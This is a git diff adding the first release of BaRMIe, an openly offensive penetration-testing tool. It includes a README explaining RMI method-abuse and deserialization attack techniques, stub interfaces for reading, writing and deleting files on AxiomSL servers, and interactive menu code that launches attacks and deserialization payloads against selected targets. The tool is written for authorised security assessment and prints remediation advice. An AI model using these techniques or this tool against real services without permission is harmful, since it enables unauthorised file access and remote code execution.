diff --git a/.gitignore b/.gitignore index 6143e53..f50e736 100644 --- a/.gitignore +++ b/.gitignore @@ -1,22 +1,28 @@ -# Compiled class file -*.class - -# Log file -*.log - -# BlueJ files -*.ctxt - -# Mobile Tools for Java (J2ME) -.mtj.tmp/ - -# Package Files # -*.jar -*.war -*.ear -*.zip -*.tar.gz -*.rar - -# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml -hs_err_pid* +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* +/nbproject/ +/build.xml +/manifest.mf +/build/ +/dist/ +/test/ diff --git a/README.md b/README.md index 1f86a5b..221caa5 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,101 @@ # BaRMIe -Java RMI enumeration and attack tool. +BaRMIe is a tool for enumerating and attacking Java RMI (Remote Method Invocation) services. + +RMI services often expose dangerous functionality without adequate security controls, however RMI services tend to pass under the radar during security assessments due to the lack of effective testing tools. In 2008 Adam Boulton spoke at AppSec USA ([YouTube](https://www.youtube.com/watch?v=owN9EnoLsFY)) and released some RMI attack tools which disappeared soon after, however even with those tools a successful zero-knowledge attack relies on a significant brute force attack (~64-bits/9 quintillion possibilities) being performed over the network. + +The goal of BaRMIe is to enable security professionals to identify, attack, and secure insecure RMI services. Using partial RMI interfaces from existing software, BaRMIe can interact directly with those services without first brute forcing 64-bits over the network. + +### Disclaimer +BaRMIe was written to aid security professionals in identifying insecure RMI services on systems which the user has prior permission to attack. Unauthorised access to computer systems is illegal and BaRMIe must be used in accordance with all relevant laws. Failure to do so could lead to you being prosecuted. The developers of BaRMIe assume no liability and are not responsible for any misuse or damage caused by this program. + +## Usage +Use of BaRMIe is straightforward. Run BaRMIe with no parameters for usage information. + + $ java -jar BaRMIe.jar + ▄▄▄▄ ▄▄▄ ██▀███ ███▄ ▄███▓ ██▓▓█████ + ▓█████▄ ▒████▄ ▓██ ▒ ██▒▓██▒▀█▀ ██▒▓██▒▓█ ▀ + ▒██▒ ▄██▒██ ▀█▄ ▓██ ░▄█ ▒▓██ ▓██░▒██▒▒███ + ▒██░█▀ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██ ▒██ ░██░▒▓█ ▄ + ░▓█ ▀█▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ ░██▒░██░░▒████▒ + ░▒▓███▀▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ▒░ ░ ░░▓ ░░ ▒░ ░ + ▒░▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░ ░ ▒ ░ ░ ░ ░ + ░ ░ ░ ▒ ░░ ░ ░ ░ ▒ ░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ + ░ v1.0 + Java RMI enumeration tool. + Written by Nicky Bloor (@NickstaDB) + + Warning: BaRMIe was written to aid security professionals in identifying the + insecure use of RMI services on systems which the user has prior + permission to attack. BaRMIe must be used in accordance with all + relevant laws. Failure to do so could lead to your prosecution. + The developers assume no liability and are not responsible for any + misuse or damage caused by this program. + + Usage: + BaRMIe -enum [options] [host] [port] + Enumerate RMI services on the given endpoint(s). + Note: if -enum is not specified, this is the default mode. + BaRMIe -attack [options] [host] [port] + Enumerate and attack the given target(s). + Options: + --threads The number of threads to use for enumeration (default 10). + --timeout The timeout for blocking socket operations (default 5,000ms). + --targets A file containing targets to scan. + The file should contain a single host or space-separated + host and port pair per line. + Alternatively, all nmap output formats are supported, BaRMIe will + parse nmap output for port 1099, 'rmiregistry', or 'Java RMI' + services to target. + Note: [host] [port] not supported when --targets is used. + Reliability: + A +/- system is used to indicate attack reliability as follows: + [+ ]: Indicates an application-specific attack + [- ]: Indicates a JRE attack + [ + ]: Attack insecure methods (such as 'writeFile' without auth) + [ - ]: Attack Java deserialization (i.e. Object parameters) + [ +]: Does not require non-default dependencies + [ -]: Non-default dependencies are required + +Enumeration mode (-enum) extracts details of objects that are exposed through an RMI registry service and lists any known attacks that affect the endpoint. + +Attack mode (-attack) first enumerates the given targets, then provides a menu system for launching known attacks against RMI services. + +A single target can be specified on the command line. Alternatively BaRMIe can extract targets from a simple text file or nmap output. + +## No Vulnerable Targets Identified? +Great! This is your opportunity to help improve BaRMIe! BaRMIe relies on *some* knowledge of the classes exposed over RMI so contributions will go a long way in improving BaRMIe and the security of RMI services. + +If you have access to JAR files or source code for the target application then producing an attack is as simple as compiling code against the relevant JAR files. Retrieve the relevant remote object using the *LocateRegistry* and *Registry* classes and call the desired methods. Alternatively look for remote methods that accept arbitrary objects or otherwise non-primitive parameters as these can be used to deliver deserialization payloads. More documentation on attacking RMI and producing attacks for BaRMIe will be made available in the near future. + +Alternatively, [get in touch](https://nickbloor.co.uk/contact/), and provide as much detail as possible including BaRMIe -enum output and ideally the relevant JAR files. + +## Attack Types +BaRMIe is capable of performing three types of attacks against RMI services. A brief description of each follows. Further technical details will be published in the near future at [https://nickbloor.co.uk/](https://nickbloor.co.uk/). In addition to this, I presented the results of my research at 44CON 2017 and the slides can be found here: [BaRMIe - Poking Java's Back Door](https://www.slideshare.net/NickBloor3/nicky-bloor-barmie-poking-javas-back-door-44con-2017). + +### 1. Attacking Insecure Methods +The first and most straightforward method of attacking insecure RMI services is to simply call insecure remote methods. Often dangerous functionality is exposed over RMI which can be triggered by simply retrieving the remote object reference and calling the dangerous method. The following code is an example of this: + + //Get a reference to the remote RMI registry service + Registry reg = LocateRegistry.getRegistry(targetHost, targetPort); + + //Get a reference to the target RMI object + Foo bar = (Foo)reg.lookup(objectName); + + //Call the remote executeCommand() method + bar.executeCommand(cmd); + +### 2. Deserialization via Object-type Paraeters +Some RMI services do not expose dangerous functionality, or they implement security controls such as authentication and session management. If the RMI service exposes a method that accepts an arbitrary Object as a parameter then the method can be used as an entry point for deserialization attacks. Some examples of such methods can be seen below: + + public void setOption(String name, Object value); + public void addAll(List values); + +### 3. Deserialization via Illegal Method Invocation +Due to the use of serialization, and insecure handling of method parameters on the server, it is possible to use any method with non-primitive parameter types as an entry point for deserialization attacks. BaRMIe achieves this by using TCP proxies to modify method parameters at the network level, essentially triggering illegal method invocations. Some examples of vulnerable methods can be seen below: + + public void setName(String name); + public Long add(Integer i1, Integer i2); + public void sum(int[] values); + +The parameters to each of these methods can be replaced with a deserialization payload as the method invocation passes through a proxy. This attack is possible because Java does not attempt to verify that remote method parameters received over the network are compatible with the actual parameter types before deserializing them. diff --git a/src/axiomsl/server/rmi/FileBrowserStub.java b/src/axiomsl/server/rmi/FileBrowserStub.java new file mode 100644 index 0000000..a587377 --- /dev/null +++ b/src/axiomsl/server/rmi/FileBrowserStub.java @@ -0,0 +1,18 @@ +package axiomsl.server.rmi; + +import java.io.IOException; +import java.rmi.Remote; +import java.rmi.RemoteException; + +/*********************************************************** + * FileBrowserStub for AxiomSL attacks. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public abstract interface FileBrowserStub extends Remote { + public abstract FileInformation[] listFilesOnServer(String paramString) throws RemoteException; + public abstract byte[] readFile(String paramString, long paramLong, int paramInt) throws IOException; + public abstract void writeFile(String paramString, byte[] paramArrayOfByte) throws IOException; + public abstract boolean deleteFile(String paramString, boolean paramBoolean) throws RemoteException; + public abstract FileInformation getFileInformation(String paramString) throws RemoteException; +} diff --git a/src/axiomsl/server/rmi/FileInformation.java b/src/axiomsl/server/rmi/FileInformation.java new file mode 100644 index 0000000..e418df9 --- /dev/null +++ b/src/axiomsl/server/rmi/FileInformation.java @@ -0,0 +1,19 @@ +package axiomsl.server.rmi; + +import java.io.Serializable; + +/*********************************************************** + * FileInformation class for AxiomSL attacks. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class FileInformation implements Serializable { + public static final long serialVersionUID = -1757023938083597173L; + public String sAbsolutePath; + public String sFileName; + public String sPath; + public boolean bExists; + public long lLastModified; + public long lSize; + public boolean bIsDirectory; +} diff --git a/src/nb/barmie/BaRMIe.java b/src/nb/barmie/BaRMIe.java new file mode 100644 index 0000000..724eaf3 --- /dev/null +++ b/src/nb/barmie/BaRMIe.java @@ -0,0 +1,112 @@ +package nb.barmie; + +import nb.barmie.exceptions.BaRMIeIllegalArgumentException; +import nb.barmie.exceptions.BaRMIeInvalidPortException; +import nb.barmie.modes.attack.AttackMode; +import nb.barmie.modes.enumeration.EnumerationMode; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * Java RMI enumeration and attack tool. + ********************************************************** + * v1.0 + * -> Initial release with several attacks and + * deserialization payloads. + ********************************************************** + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIe { + /******************* + * Entry point - parse command line params, validate, and run the selected + * mode. + ******************/ + public static void main(String[] args) { + ProgramOptions options; + + //Print a banner 'cause leet and stuff. + System.out.println("\n ▄▄▄▄ ▄▄▄ ██▀███ ███▄ ▄███▓ ██▓▓█████ \n" + + " ▓█████▄ ▒████▄ ▓██ ▒ ██▒▓██▒▀█▀ ██▒▓██▒▓█ ▀ \n" + + " ▒██▒ ▄██▒██ ▀█▄ ▓██ ░▄█ ▒▓██ ▓██░▒██▒▒███ \n" + + " ▒██░█▀ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██ ▒██ ░██░▒▓█ ▄ \n" + + " ░▓█ ▀█▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ ░██▒░██░░▒████▒\n" + + " ░▒▓███▀▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ▒░ ░ ░░▓ ░░ ▒░ ░\n" + + " ▒░▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░ ░ ▒ ░ ░ ░ ░\n" + + " ░ ░ ░ ▒ ░░ ░ ░ ░ ▒ ░ ░ \n" + + " ░ ░ ░ ░ ░ ░ ░ ░\n" + + " ░ v1.0\n" + + " Java RMI enumeration tool.\n" + + " Written by Nicky Bloor (@NickstaDB)\n\n" + + "Warning: BaRMIe was written to aid security professionals in identifying the\n" + + " insecure use of RMI services on systems which the user has prior\n" + + " permission to attack. BaRMIe must be used in accordance with all\n" + + " relevant laws. Failure to do so could lead to your prosecution.\n" + + " The developers assume no liability and are not responsible for any\n" + + " misuse or damage caused by this program.\n"); + + //Just print usage if command line is empty + if(args.length == 0) { + printUsage(""); + return; + } + + //Parse command line options + try { + options = new ProgramOptions(args); + } catch(BaRMIeIllegalArgumentException|BaRMIeInvalidPortException ex) { + //Something wrong with the command line + printUsage(ex.getMessage()); + return; + } + + //Delegate to the relevant program mode + switch(options.getExecutionMode()) { + case "-enum": + //Enumerate RMI endpoints + new EnumerationMode(options).run(); + break; + + case "-attack": + //Attack RMI endpoints + new AttackMode(options).run(); + break; + + default: + //Shouldn't happen, whatever... + printUsage("Invalid mode specified."); + } + } + + /******************* + * Print a usage message. + * + * @param error Error message, e.g. if there was an issue with command line options. + ******************/ + private static void printUsage(String error) { + System.out.println((error.equals("") ? "" : "Error: " + error + "\n\n") + + "Usage:\n" + + " BaRMIe -enum [options] [host] [port]\n" + + " Enumerate RMI services on the given endpoint(s).\n" + + " Note: if -enum is not specified, this is the default mode.\n" + + " BaRMIe -attack [options] [host] [port]\n" + + " Enumerate and attack the given target(s).\n" + + "Options:\n" + + " --threads The number of threads to use for enumeration (default 10).\n" + + " --timeout The timeout for blocking socket operations (default 5,000ms).\n" + + " --targets A file containing targets to scan.\n" + + " The file should contain a single host or space-separated\n" + + " host and port pair per line.\n" + + " Alternatively, all nmap output formats are supported, BaRMIe will\n" + + " parse nmap output for port 1099, 'rmiregistry', or 'Java RMI'\n" + + " services to target.\n" + + " Note: [host] [port] not supported when --targets is used.\n" + + "Reliability:\n" + + " A +/- system is used to indicate attack reliability as follows:\n" + + " [+ ]: Indicates an application-specific attack\n" + + " [- ]: Indicates a JRE attack\n" + + " [ + ]: Attack insecure methods (such as 'writeFile' without auth)\n" + + " [ - ]: Attack Java deserialization (i.e. Object parameters)\n" + + " [ +]: Does not require non-default dependencies\n" + + " [ -]: Non-default dependencies are required" + ); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeAttackException.java b/src/nb/barmie/exceptions/BaRMIeAttackException.java new file mode 100644 index 0000000..0bca14c --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeAttackException.java @@ -0,0 +1,12 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if an attack fails for some reason. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeAttackException extends BaRMIeException { + public BaRMIeAttackException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeDeserAttackException.java b/src/nb/barmie/exceptions/BaRMIeDeserAttackException.java new file mode 100644 index 0000000..312f3a7 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeDeserAttackException.java @@ -0,0 +1,13 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if a deserialization attack fails for + * some reason. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeDeserAttackException extends BaRMIeException { + public BaRMIeDeserAttackException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeDeserPayloadGenerationException.java b/src/nb/barmie/exceptions/BaRMIeDeserPayloadGenerationException.java new file mode 100644 index 0000000..ef59022 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeDeserPayloadGenerationException.java @@ -0,0 +1,13 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if there is a problem generating a + * deserialization payload. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeDeserPayloadGenerationException extends BaRMIeException { + public BaRMIeDeserPayloadGenerationException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeException.java b/src/nb/barmie/exceptions/BaRMIeException.java new file mode 100644 index 0000000..53ebec5 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeException.java @@ -0,0 +1,16 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Base class for exceptions thrown by BaRMIe. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public abstract class BaRMIeException extends Exception { + public BaRMIeException(String message) { + super(message); + } + + public BaRMIeException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeGetObjectException.java b/src/nb/barmie/exceptions/BaRMIeGetObjectException.java new file mode 100644 index 0000000..e50d420 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeGetObjectException.java @@ -0,0 +1,13 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if there was a problem getting an + * object from an RMI registry during an attack. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeGetObjectException extends BaRMIeException { + public BaRMIeGetObjectException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeIllegalArgumentException.java b/src/nb/barmie/exceptions/BaRMIeIllegalArgumentException.java new file mode 100644 index 0000000..3e1c1a7 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeIllegalArgumentException.java @@ -0,0 +1,17 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if invalid command line arguments are + * passed in. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeIllegalArgumentException extends BaRMIeException { + public BaRMIeIllegalArgumentException(String message) { + super(message); + } + + public BaRMIeIllegalArgumentException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeInputException.java b/src/nb/barmie/exceptions/BaRMIeInputException.java new file mode 100644 index 0000000..28410c9 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeInputException.java @@ -0,0 +1,16 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if there was an IOException whilst + * reading from STDIN. + * + * I.e. when an attack class is prompting for attack + * input/options. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeInputException extends BaRMIeException { + public BaRMIeInputException(Throwable cause) { + super("An IOException occurred whilst reading from STDIN.", cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeInvalidPortException.java b/src/nb/barmie/exceptions/BaRMIeInvalidPortException.java new file mode 100644 index 0000000..5c304fb --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeInvalidPortException.java @@ -0,0 +1,13 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if an invalid port number is specified + * for a target. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeInvalidPortException extends BaRMIeException { + public BaRMIeInvalidPortException(int portNumber) { + super("The given port number (" + portNumber + ") is not a valid TCP port number."); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeInvalidReplyDataPacketException.java b/src/nb/barmie/exceptions/BaRMIeInvalidReplyDataPacketException.java new file mode 100644 index 0000000..802fd58 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeInvalidReplyDataPacketException.java @@ -0,0 +1,18 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if the contents of a ReplyData packet + * captured through the RMI registry proxy do not appear + * to be valid. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeInvalidReplyDataPacketException extends BaRMIeException { + public BaRMIeInvalidReplyDataPacketException(String message) { + super(message); + } + + public BaRMIeInvalidReplyDataPacketException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeObjectProxyException.java b/src/nb/barmie/exceptions/BaRMIeObjectProxyException.java new file mode 100644 index 0000000..a2a4287 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeObjectProxyException.java @@ -0,0 +1,13 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if a DeliveryMethod has problems with + * proxying a remote object or remote method call. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeObjectProxyException extends BaRMIeException { + public BaRMIeObjectProxyException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeProxyAlreadyStartedException.java b/src/nb/barmie/exceptions/BaRMIeProxyAlreadyStartedException.java new file mode 100644 index 0000000..0d3b9d0 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeProxyAlreadyStartedException.java @@ -0,0 +1,11 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if a proxy is started is started and + * hasn't been shut down since last starting it. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeProxyAlreadyStartedException extends BaRMIeException { + public BaRMIeProxyAlreadyStartedException(String message) { super(message); } +} diff --git a/src/nb/barmie/exceptions/BaRMIeProxyStartupException.java b/src/nb/barmie/exceptions/BaRMIeProxyStartupException.java new file mode 100644 index 0000000..61585dd --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeProxyStartupException.java @@ -0,0 +1,12 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if an exception occurs during proxy + * server startup - for example if there's an IOException + * whilst creating the ServerSocket. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeProxyStartupException extends BaRMIeException { + public BaRMIeProxyStartupException(String message, Throwable cause) { super(message, cause); } +} diff --git a/src/nb/barmie/exceptions/BaRMIeRemoteMethodCallException.java b/src/nb/barmie/exceptions/BaRMIeRemoteMethodCallException.java new file mode 100644 index 0000000..d0c091b --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeRemoteMethodCallException.java @@ -0,0 +1,13 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if there was a problem calling a remote + * method during an attack. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeRemoteMethodCallException extends BaRMIeException { + public BaRMIeRemoteMethodCallException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeUnsupportedException.java b/src/nb/barmie/exceptions/BaRMIeUnsupportedException.java new file mode 100644 index 0000000..33075fb --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeUnsupportedException.java @@ -0,0 +1,16 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if an unsupported executeAttack() + * method is called on an RMIAttack object. + * + * E.g. if a deserialization attack is executed without a + * deserialization payload. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeUnsupportedException extends BaRMIeException { + public BaRMIeUnsupportedException(String message) { + super(message); + } +} diff --git a/src/nb/barmie/exceptions/BaRMIeWriteFileException.java b/src/nb/barmie/exceptions/BaRMIeWriteFileException.java new file mode 100644 index 0000000..fce90e5 --- /dev/null +++ b/src/nb/barmie/exceptions/BaRMIeWriteFileException.java @@ -0,0 +1,13 @@ +package nb.barmie.exceptions; + +/*********************************************************** + * Exception thrown if the writeFile method of RMIAttack + * fails for some reason. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BaRMIeWriteFileException extends BaRMIeException { + public BaRMIeWriteFileException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/nb/barmie/modes/attack/AttackMode.java b/src/nb/barmie/modes/attack/AttackMode.java new file mode 100644 index 0000000..8a7015e --- /dev/null +++ b/src/nb/barmie/modes/attack/AttackMode.java @@ -0,0 +1,375 @@ +package nb.barmie.modes.attack; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.ArrayList; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.enumeration.RMIEnumerator; +import nb.barmie.net.TCPEndpoint; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * Attack mode - enumerates each given target and provides + * a menu system for attacking those that can be attacked. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class AttackMode { + /******************* + * Properties + ******************/ + private final ProgramOptions _opts; + private final BufferedReader _in; + + /******************* + * Construct the attack mode object. + * + * @param options The program options. + ******************/ + public AttackMode(ProgramOptions options) { + this._opts = options; + this._in = new BufferedReader(new InputStreamReader(System.in)); + } + + /******************* + * Attack mode main function. + ******************/ + public void run() { + RMIEnumerator rmie; + ArrayList targets; + ArrayList vulnTargets; + RMITargetData td; + + //Initialise the list of known attacks with the current program options + RMIAttackFactory.setProgramOptions(this._opts); + + //Get the list of targets and enumerate them + targets = new ArrayList(); + vulnTargets = new ArrayList(); + rmie = new RMIEnumerator(this._opts); + System.out.println("Enumerating " + this._opts.getTargets().size() + " target(s)..."); + for(TCPEndpoint t: this._opts.getTargets()) { + //Enumerate the endpoint + td = new RMITargetData(rmie.enumerateEndpoint(t)); + + //Add it to the list of all targets + targets.add(td); + + //Add it to the list of vulnerable targets if there are attacks available for the endpoint + if(td.hasSupportedAttacks()) { + vulnTargets.add(td); + } + } + RMIAttackFactory.cleanUp(); + System.out.println(""); + + //Print enumeration summary + System.out.println("Target summary:"); + for(RMITargetData target: targets) { + //Print the target host and port + System.out.println(" " + target.getEndpoint().getEndpoint()); + + //Check if any attacks were identified + if(target.hasSupportedAttacks()) { + //Print available attacks + System.out.println(" Available attacks:"); + for(RMIAttack a: target.getAttacks()) { + System.out.println(" " + a.getReliabilityIndicator() + " " + a.getDescription()); + } + + //If there are any deserialization attacks for the endpoint, print available deserialization payloads + if(target.hasDeserializationAttacks()) { + if(target.hasAffectedLibs()) { + System.out.println(" Available deserialization payloads:"); + for(DeserPayload p: target.getDeserPayloads()) { + System.out.println(" [+] " + p.getDescription()); + } + } + } + } else { + System.out.println(" No available attacks for this endpoint."); + } + } + System.out.println(""); + + //Enter the target selection menu if any of the targets can be attacked + if(vulnTargets.size() > 0) { + //Enter the target selection menu + this.targetMenu(vulnTargets); + } else { + //No attacks available for the given endpoints + System.out.println("No vulnerable targets identified."); + } + } + + /******************* + * Display a target selection menu. + * + * @param targets The list of enumerated vulnerable targets, attacks, and deserialization payloads to choose from. + ******************/ + private void targetMenu(ArrayList targets) { + String input = ""; + RMITargetData target; + int i; + + //Loop until quit + while(input.equalsIgnoreCase("q") == false) { + //Print vulnerable targets + System.out.println("Target selection"); + for(i = 0; i < targets.size(); ++i) { + //Print target details + target = targets.get(i); + System.out.println(" " + (i + 1) + ") " + target.getDetailString()); + } + + //Get and handle the user's menu choice + System.out.print("Select a target to attack (q to quit): "); + input = ""; + try { input = this._in.readLine(); } catch(IOException ioe) { System.out.println("[-] An IOException occurred whilst attempting to read user input."); continue; } + try { + //Attempt to parse the input as a number, then if it's in the expected range descend into the attack menu + i = Integer.parseInt(input); + if(i > 0 && i <= targets.size()) { + //Descend into the attack menu for the given target + System.out.println(""); + input = this.attackMenu(targets.get(i - 1)); + if(input.equalsIgnoreCase("b")) { + System.out.println(""); + input = ""; + } + } else { + //Invalid target choice + System.out.println("[-] Invalid target number."); + } + } catch(NumberFormatException nfe) { + //Not a number, if the input also wasn't "q" then it was invalid + if(input.equalsIgnoreCase("q") == false) { + System.out.println("[-] Invalid menu selection."); + } + } + } + } + + /******************* + * Display an attack selection menu for the given target. + * + * @param target Details of the target that was selected for attack. + * @return The last menu option that was selected ([b]ack or [q]uit). + ******************/ + private String attackMenu(RMITargetData target) { + String input = ""; + RMIAttack attack; + int i; + + //Loop until quit or back + while(input.equalsIgnoreCase("q") == false && input.equalsIgnoreCase("b") == false) { + //Print available attacks + System.out.println("Available attacks for target: " + target.getEndpoint().getEndpoint()); + for(i = 0; i < target.getAttacks().size(); ++i) { + //Print attack details + attack = target.getAttacks().get(i); + System.out.println(" " + (i + 1) + ") " + attack.getReliabilityIndicator() + " " + attack.getDescription()); + } + + //Get and handle the user's menu choice + System.out.print("Select an attack to execute (b to back up, q to quit): "); + input = ""; + try { input = this._in.readLine(); } catch(IOException ioe) { System.out.println("[-] An IOException occurred whilst attempting to read user input."); continue; } + try { + //Attempt to parse the input as a number + i = Integer.parseInt(input); + if(i > 0 && i <= target.getAttacks().size()) { + //Launch the attack, unless it's a deserialization attack, in which case descend into the deserialization payload menu + System.out.println(""); + attack = target.getAttacks().get(i - 1); + if(attack.isDeserAttack() == false) { + try { + System.out.println(attack.getDetailedDescription() + "\n"); + attack.executeAttack(target.getEndpoint()); + } catch(BaRMIeException bex) { + System.out.println("[-] An exception occurred whilst attacking the target."); + System.out.println(" " + bex); + } finally { + //Clean up after the attack + attack.cleanUp(); + + //Remediation advice + System.out.println("\nRemediation advice (if attack was successful):"); + System.out.println(" " + attack.getRemediationAdvice() + "\n"); + } + } else { + input = this.deserPayloadMenu(target, attack); + if(input.equalsIgnoreCase("b")) { + System.out.println(""); + input = ""; + } + } + } else { + //Invalid attack choice + System.out.println("[-] Invalid attack number."); + } + } catch(NumberFormatException nfe) { + //Not a number, if the input also wasn't "q" or "b" then it was invalid + if(input.equalsIgnoreCase("q") == false && input.equalsIgnoreCase("b") == false) { + System.out.println("[-] Invalid menu selection."); + } + } + } + + //Return the last menu option + return input; + } + + /******************* + * Display a deserialization payload selection menu for the given target + * and attack. + * + * @param target Details of the target that was selected for attack. + * @param attack The deserialization attack to execute. + * @return The last menu option that was selected ([b]ack or [q]uit). + ******************/ + private String deserPayloadMenu(RMITargetData target, RMIAttack attack) { + String input = ""; + ArrayList supportedPayloads; + ArrayList allPayloads; + DeserPayload payload; + int i; + + //Build the list of all payloads, starting with those that appear to be supported by leaked CLASSPATH data + supportedPayloads = target.getDeserPayloads(); + allPayloads = new ArrayList(); + for(DeserPayload p: supportedPayloads) { + allPayloads.add(p); + } + for(DeserPayload p: DeserPayloadFactory.getAllPayloads()) { + if(supportedPayloads.contains(p) == false) { + allPayloads.add(p); + } + } + + //Loop until quit or back + while(input.equalsIgnoreCase("q") == false && input.equalsIgnoreCase("b") == false) { + //Display the attack description + System.out.println("Attack: " + attack.getDescription() + " " + attack.getReliabilityIndicator() + "\n"); + System.out.println(attack.getDetailedDescription() + "\n"); + + //Display the deserialization payload menu + System.out.println("Deserialization payloads for: " + target.getEndpoint().getEndpoint()); + for(i = 0; i < allPayloads.size(); ++i) { + //Print payload details + payload = allPayloads.get(i); + if(supportedPayloads.contains(payload)) { + System.out.println(" " + (i + 1) + ") * " + payload.getDescription()); + } else { + System.out.println(" " + (i + 1) + ") " + payload.getDescription()); + } + } + System.out.println(" a) Try all available deserialization payloads"); + + //Get and handle the user's menu choice + System.out.print("Select a payload to use (b to back up, q to quit): "); + input = ""; + try { input = this._in.readLine(); } catch(IOException ioe) { System.out.println("[-] An IOException occurred whilst attempting to read user input."); continue; } + try { + //Attempt to parse the input as a number + i = Integer.parseInt(input); + if(i > 0 && i <= allPayloads.size()) { + //Launch the attack with the chosen payload + try { + System.out.println(""); + ((RMIDeserAttack)attack).executeAttack(target.getEndpoint(), allPayloads.get(i - 1)); + } catch(BaRMIeException bex) { + System.out.println("[-] An exception occurred whilst attacking the target."); + System.out.println(" " + bex); + } finally { + //Clean up after the attack + attack.cleanUp(); + + //Remediation advice + System.out.println("\nRemediation advice (if attack was successful):"); + System.out.println(" " + attack.getRemediationAdvice()); + System.out.println(" " + allPayloads.get(i - 1).getRemediationAdvice() + "\n"); + } + } else { + //Invalid payload choice + System.out.println("[-] Invalid payload number."); + } + } catch(NumberFormatException nfe) { + //Not a number, if the input was "a" then attempt the attack with all known payloads + if(input.equalsIgnoreCase("a")) { + System.out.println(""); + this.attemptAllDeserPayloads(target, attack, allPayloads); + } else { + if(input.equalsIgnoreCase("b") == false && input.equalsIgnoreCase("q") == false) { + //Invalid input + System.out.println("[-] Invalid menu selection."); + } + } + } + } + + //Return the last menu option + return input; + } + + /******************* 